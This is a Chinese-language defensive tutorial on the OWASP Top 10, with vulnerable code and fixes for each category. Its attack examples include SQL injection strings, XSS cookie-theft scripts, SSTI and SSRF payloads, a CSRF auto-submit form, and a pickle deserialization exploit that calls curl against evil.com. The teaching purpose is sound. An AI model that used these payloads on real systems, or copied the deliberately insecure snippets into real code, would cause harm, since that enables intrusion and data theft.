据 Akamai 报告,2026 年 Web 应用攻击同比增长 40%,其中注入攻击和身份认证失效 占比最高。无论你是开发者还是运维,了解 Web 应用常见漏洞都是必修课 。本文基于 OWASP Top 10(2021 版),通过真实案例 + 代码讲解,带你建立完整的 Web 安全防护意识。
一、什么是 OWASPOWASP(Open Worldwide Application Security Project)是全球最权威的 Web 安全组织 ,定期发布 Top 10 漏洞榜单,代表最常见、最危险的 Web 安全风险。
OWASP Top 10 (2021) :
A01 - 访问控制失效 (Broken Access Control) A02 - 加密机制失效 (Cryptographic Failures) A03 - 注入 (Injection) A04 - 不安全设计 (Insecure Design) A05 - 安全配置错误 (Security Misconfiguration) A06 - 易受攻击和过时的组件 (Vulnerable Components) A07 - 身份认证失效 (Identification & Authentication Failures) A08 - 软件和数据完整性失效 (Software & Data Integrity Failures) A09 - 安全日志和监控失效 (Security Logging & Monitoring Failures) A10 - 服务端请求伪造 (SSRF) 二、A01 访问控制失效 漏洞描述用户能访问未授权的资源或功能 。比如普通用户访问管理后台、修改他人订单。
典型案例1 2 3 4 5 6 @app.route('/api/orders' ) def get_orders (): user_id = request.args.get('user_id' ) orders = Order.query.filter_by(user_id=user_id).all () return jsonify([o.to_dict() for o in orders])
攻击 :
1 GET /api/orders?user_id=1001 # 查看 1001 号用户的订单
修复1 2 3 4 5 6 7 @app.route('/api/orders' ) @login_required def get_orders (): user_id = current_user.id orders = Order.query.filter_by(user_id=user_id).all () return jsonify([o.to_dict() for o in orders])
防御原则永远从服务端获取当前用户身份 每次请求都做权限校验,不要依赖前端隐藏按钮 强制使用最小权限原则 拒绝默认允许,默认拒绝 三、A02 加密机制失效 常见问题使用 HTTP(明文传输) 弱密码算法(MD5、SHA1) 密钥硬编码在代码里 敏感数据明文存储 案例:密码存储1 2 3 4 import hashlibpassword_hash = hashlib.md5(password.encode()).hexdigest() db.save_user(name, password_hash)
问题 :MD5 太快,彩虹表秒破。
修复:使用 bcrypt1 2 3 4 5 6 7 8 9 10 11 import bcryptpassword_bytes = password.encode('utf-8' ) salt = bcrypt.gensalt(rounds=12 ) hashed = bcrypt.hashpw(password_bytes, salt) db.save_user(name, hashed) if bcrypt.checkpw(password.encode('utf-8' ), stored_hash):
HTTPS 配置1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 server { listen 443 ssl http2; ssl_protocols TLSv1.2 TLSv1.3 ; ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384' ; ssl_prefer_server_ciphers on ; add_header Strict-Transport-Security "max-age=63072000" always; } server { listen 80 ; return 301 https://$host $request_uri ; }
加密算法选择 四、A03 注入漏洞(最经典) SQL 注入 漏洞代码1 2 3 query = f"SELECT * FROM users WHERE name='{username} ' AND password='{password} '" db.execute(query)
攻击 :
1 2 username: ' OR '1'='1 password: 任意
最终 SQL:
1 SELECT * FROM users WHERE name= '' OR '1' = '1' AND password= '任意'
由于 '1'='1' 恒为真,返回所有用户。
修复:参数化查询1 2 3 query = "SELECT * FROM users WHERE name=%s AND password=%s" db.execute(query, (username, password))
各种语言 :
1 2 3 4 5 6 7 8 9 10 cursor.execute("SELECT * FROM users WHERE id=%s" , (user_id,)) PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id=?" ); stmt.setInt(1 , user_id); $stmt = $pdo->prepare("SELECT * FROM users WHERE id=?" ); $stmt->execute([$user_id]);
命令注入 漏洞代码1 2 3 4 import osip = request.args.get('ip' ) os.system(f"ping -c 4 {ip} " )
攻击 :
修复1 2 3 4 import subprocessip = request.args.get('ip' ) subprocess.run(["ping" , "-c" , "4" , ip], check=True )
XSS(跨站脚本) 反射型 XSS1 2 <div > 欢迎您,<?php echo $_GET['name']; ?> </div >
攻击 :
1 ?name=<script>alert(document.cookie)</script>
存储型 XSS(更危险)1 2 3 4 5 @app.route('/comment' , methods=['POST' ] ) def comment (): content = request.form['content' ] db.execute("INSERT INTO comments (content) VALUES (%s)" , (content,))
攻击 :评论里写 <script>fetch('/steal?c='+document.cookie)</script>
修复输出编码 :HTML 转义1 2 3 4 5 6 from markupsafe import escape@app.route('/hello' ) def hello (): name = request.args.get('name' ) return f"欢迎您,{escape(name)} "
Content-Security-Policy 1 <meta http-equiv ="Content-Security-Policy" content ="default-src 'self'; script-src 'self'" >
HttpOnly Cookie (防 cookie 窃取)1 response.set_cookie('session' , value, httponly=True , secure=True )
模板注入(SSTI)1 2 3 4 5 6 from flask import render_template_string@app.route('/hello' ) def hello (): name = request.args.get('name' ) return render_template_string(f"Hello {name} " )
攻击 :
1 2 ?name={{config.items()}} ?name={{''.__class__.__mro__[1].__subclasses__()}}
修复1 2 3 4 5 6 from flask import render_template@app.route('/hello' ) def hello (): name = request.args.get('name' ) return render_template('hello.html' , name=name)
五、A04 不安全设计 案例:无密码策略1 2 3 4 def register (username, password ): user = User(username=username, password=password) db.save(user)
攻击 :用户注册 123456 当密码。
修复1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import redef validate_password (password ): if len (password) < 12 : raise ValueError("密码至少 12 位" ) if not re.search(r'[A-Z]' , password): raise ValueError("必须包含大写字母" ) if not re.search(r'[a-z]' , password): raise ValueError("必须包含小写字母" ) if not re.search(r'[0-9]' , password): raise ValueError("必须包含数字" ) if not re.search(r'[!@#$%^&*]' , password): raise ValueError("必须包含特殊字符" ) if password in COMMON_PASSWORDS: raise ValueError("密码过于简单" )
限流设计1 2 3 4 5 6 7 8 9 10 from flask_limiter import Limiterlimiter = Limiter(app, key_func=lambda : request.remote_addr) @app.route('/login' , methods=['POST' ] ) @limiter.limit("5 per minute" ) def login (): pass
业务逻辑漏洞1 2 3 4 5 6 7 8 @app.route('/order/update' , methods=['POST' ] ) def update_order (): order_id = request.form['order_id' ] new_price = request.form['price' ] order = Order.get(order_id) order.price = new_price db.save(order)
修复 :服务端重新计算价格,不允许客户端传入。
六、A05 安全配置错误 常见配置问题 安全 HTTP 头1 2 3 4 5 6 add_header X-Frame-Options "SAMEORIGIN" always; add_header X-Content-Type-Options "nosniff" always; add_header X-XSS-Protection "1; mode=block" always; add_header Referrer-Policy "strict-origin-when-cross-origin" always;add_header Permissions-Policy "geolocation=(), camera=()" always;
生产环境检查清单 关闭目录浏览 修改默认密码 禁用调试模式(DEBUG=False) 关闭不必要的服务端口 删除示例代码 配置防火墙 HTTPS 强制 七、A06 易受攻击和过时的组件 风险 防御定期扫描 1 2 3 4 5 6 7 8 9 pip install safety safety check npm audit mvn dependency-check:check
及时更新 1 2 3 4 5 npm update pip install --upgrade package
依赖锁定 1 2 3 package-lock.json / yarn.lock Pipfile.lock / poetry.lock go.sum
SCA 工具 Snyk Dependabot(GitHub 内置) OWASP Dependency-Check 八、A07 身份认证失效 常见问题弱密码允许 无登录失败锁定 Session ID 在 URL 中泄露 JWT 过期时间过长 / 不刷新 修复方案1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from django.contrib.auth import authenticatefrom axes.handlers import AxesHandlerdef login_view (request ): if request.method == 'POST' : user = authenticate( request, username=request.POST['username' ], password=request.POST['password' ] ) if user is not None : login(request, user) return redirect('/' ) else : return render(request, 'login.html' , {'error' : '账号或密码错误' })
Session 安全1 2 3 4 5 6 SESSION_COOKIE_SECURE = True SESSION_COOKIE_HTTPONLY = True SESSION_COOKIE_SAMESITE = 'Lax' SESSION_EXPIRE_AT_BROWSER_CLOSE = True PERMANENT_SESSION_LIFETIME = timedelta(hours=2 )
多因素认证推荐 TOTP:
1 2 3 4 5 6 7 8 9 10 import pyotpsecret = pyotp.random_base32() user.mfa_secret = secret totp = pyotp.TOTP(user.mfa_secret) if totp.verify(user_input_code):
JWT 安全1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import jwtdef login (user ): access_token = jwt.encode( {'user_id' : user.id , 'exp' : datetime.utcnow() + timedelta(minutes=15 )}, SECRET_KEY, algorithm='HS256' ) refresh_token = jwt.encode( {'user_id' : user.id , 'exp' : datetime.utcnow() + timedelta(days=7 )}, REFRESH_SECRET_KEY, algorithm='HS256' ) return access_token, refresh_token def verify (token ): try : payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256' ]) return payload except jwt.ExpiredSignatureError: return None except jwt.InvalidTokenError: return None
九、A08 软件和数据完整性失效 案例:不安全的反序列化1 2 3 4 5 6 7 import pickle@app.route('/api/data' , methods=['POST' ] ) def load_data (): data = pickle.loads(request.data) return jsonify(data)
攻击 :
1 2 3 4 5 6 7 8 9 import pickleimport osclass Exploit (object ): def __reduce__ (self ): return (os.system, ('curl http://evil.com/steal' ,)) payload = pickle.dumps(Exploit()) requests.post('http://target/api/data' , data=payload)
修复1 2 3 4 5 6 7 import json@app.route('/api/data' , methods=['POST' ] ) def load_data (): data = json.loads(request.data) return jsonify(data)
供应链安全校验第三方库签名 校验下载文件的哈希 使用受信源(npm 官方、PyPI 官方) 十、A09 安全日志和监控失效 应该记录的事件登录失败 / 成功 权限校验失败 异常流量 关键操作(支付、改密) 日志规范1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import logginglogger = logging.getLogger('security' ) def login_attempt (username, ip, success ): if success: logger.info( "Login success" , extra={ 'event' : 'login_success' , 'username' : username, 'ip' : ip, 'timestamp' : datetime.utcnow().isoformat() } ) else : logger.warning( "Login failed" , extra={ 'event' : 'login_failed' , 'username' : username, 'ip' : ip, 'user_agent' : request.user_agent.string, 'timestamp' : datetime.utcnow().isoformat() } )
集成 SIEMELK Stack(Elasticsearch + Logstash + Kibana) Splunk Grafana Loki 阿里云日志服务 / 腾讯云 CLS 告警规则1 2 3 4 5 6 - alert: 多次登录失败 expr: sum(rate(login_failures_total[5m])) > 10 for: 2m annotations: summary: "检测到可能的暴力破解攻击"
十一、A10 服务端请求伪造(SSRF) 漏洞描述服务端未经严格校验 就访问用户提供的 URL。
案例1 2 3 4 5 6 @app.route('/fetch_image' ) def fetch_image (): url = request.args.get('url' ) resp = requests.get(url) return resp.content
攻击 :
1 2 3 ?url=http://169.254.169.254/latest/meta-data/ # AWS 元数据 ?url=http://localhost:6379/ # 内网 Redis ?url=file:///etc/passwd # 本地文件
修复1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import ipaddressfrom urllib.parse import urlparsedef is_safe_url (url ): try : parsed = urlparse(url) if parsed.scheme not in ['http' , 'https' ]: return False import socket ip = socket.gethostbyname(parsed.hostname) ip_obj = ipaddress.ip_address(ip) if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_reserved: return False return True except Exception: return False @app.route('/fetch_image' ) def fetch_image (): url = request.args.get('url' ) if not is_safe_url(url): return "Invalid URL" , 400 resp = requests.get(url, timeout=5 ) return resp.content
十二、其他重要漏洞 CSRF(跨站请求伪造)1 2 3 4 5 6 <form action ="https://bank.com/transfer" method ="POST" > <input name ="to" value ="attacker" > <input name ="amount" value ="10000" > </form > <script > document .forms [0 ].submit ()</script >
防御 :
1 2 3 4 5 6 7 8 9 10 from flask_wtf.csrf import CSRFProtectapp = Flask(__name__) app.config['SECRET_KEY' ] = '...' csrf = CSRFProtect(app) SESSION_COOKIE_SAMESITE = 'Lax'
文件上传漏洞1 2 3 4 5 6 7 8 @app.route('/upload' , methods=['POST' ] ) def upload (): f = request.files['file' ] f.save(f'/var/www/uploads/{f.filename} ' )
修复 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import magic import osALLOWED_TYPES = ['image/jpeg' , 'image/png' , 'image/gif' ] UPLOAD_DIR = '/var/www/uploads' @app.route('/upload' , methods=['POST' ] ) def upload (): f = request.files['file' ] if len (f.read()) > 5 * 1024 * 1024 : return "文件过大" , 400 f.seek(0 ) mime = magic.from_buffer(f.read(1024 ), mime=True ) f.seek(0 ) if mime not in ALLOWED_TYPES: return "文件类型不允许" , 400 ext = os.path.splitext(f.filename)[1 ].lower() if ext not in ['.jpg' , '.jpeg' , '.png' , '.gif' ]: return "扩展名不允许" , 400 new_name = f'{uuid.uuid4()} {ext} ' f.save(os.path.join(UPLOAD_DIR, new_name)) return "上传成功"
XXE(XML 外部实体)1 2 3 4 5 6 7 import xml.etree.ElementTree as ET@app.route('/api/xml' , methods=['POST' ] ) def parse_xml (): data = request.data root = ET.fromstring(data)
修复 :禁用外部实体
1 2 3 4 5 import defusedxml.ElementTree as ET@app.route('/api/xml' , methods=['POST' ] ) def parse_xml (): root = ET.fromstring(request.data)
十三、防御工具与平台 WAF(Web 应用防火墙)ModSecurity (开源)Cloudflare WAF 阿里云 WAF / 腾讯云 WAF 长亭雷池 (国产开源) SAST(静态扫描)SonarQube Semgrep Bandit(Python) DAST(动态扫描)OWASP ZAP(免费) Burp Suite Nessus 漏洞扫描平台 十四、安全开发流程 SDL(Security Development Lifecycle)1 2 3 4 5 6 需求阶段 → 安全需求分析 设计阶段 → 威胁建模(STRIDE) 编码阶段 → 安全编码规范 + SAST 测试阶段 → DAST + 渗透测试 发布阶段 → 安全审计 + 配置基线 运维阶段 → 漏洞监控 + 应急响应
CI/CD 集成安全扫描1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 name: Security Scan on: [push , pull_request ]jobs: scan: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Run Semgrep run: | pip install semgrep semgrep --config=auto . - name: Run Snyk uses: snyk/actions/python@master env: SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }} - name: GitGuardian uses: GitGuardian/ggshield-action@v1
十五、应急响应 1. 发现入侵立即行动:
隔离 :从网络断开(防止横向移动)取证 :不要重启,保存内存快照记录 :所有操作写入日志 2. 事件分类 3. 处置流程 4. 报告与改进写事故复盘报告:
总结Web 安全不是一次性任务,是持续的过程 。
核心原则 :
零信任 :不相信任何输入,不做隐式授权纵深防御 :多层防护,即使一层被攻破还有其他层最小权限 :每个账号/服务只给必需权限失效安全 :出错时拒绝而不是放行可见性 :所有操作都有日志,可追溯学习路径 :
读 OWASP Top 10 官方文档 用 DVWA / WebGoat 靶场练手 学一门 WAF 工具 考 CISP / CISSP 认证(可选) 安全无小事 。一次小漏洞可能导致品牌声誉崩塌、用户数据泄露、法律诉讼。从今天开始,把安全融入开发流程的每一步。
漏洞 修复 失效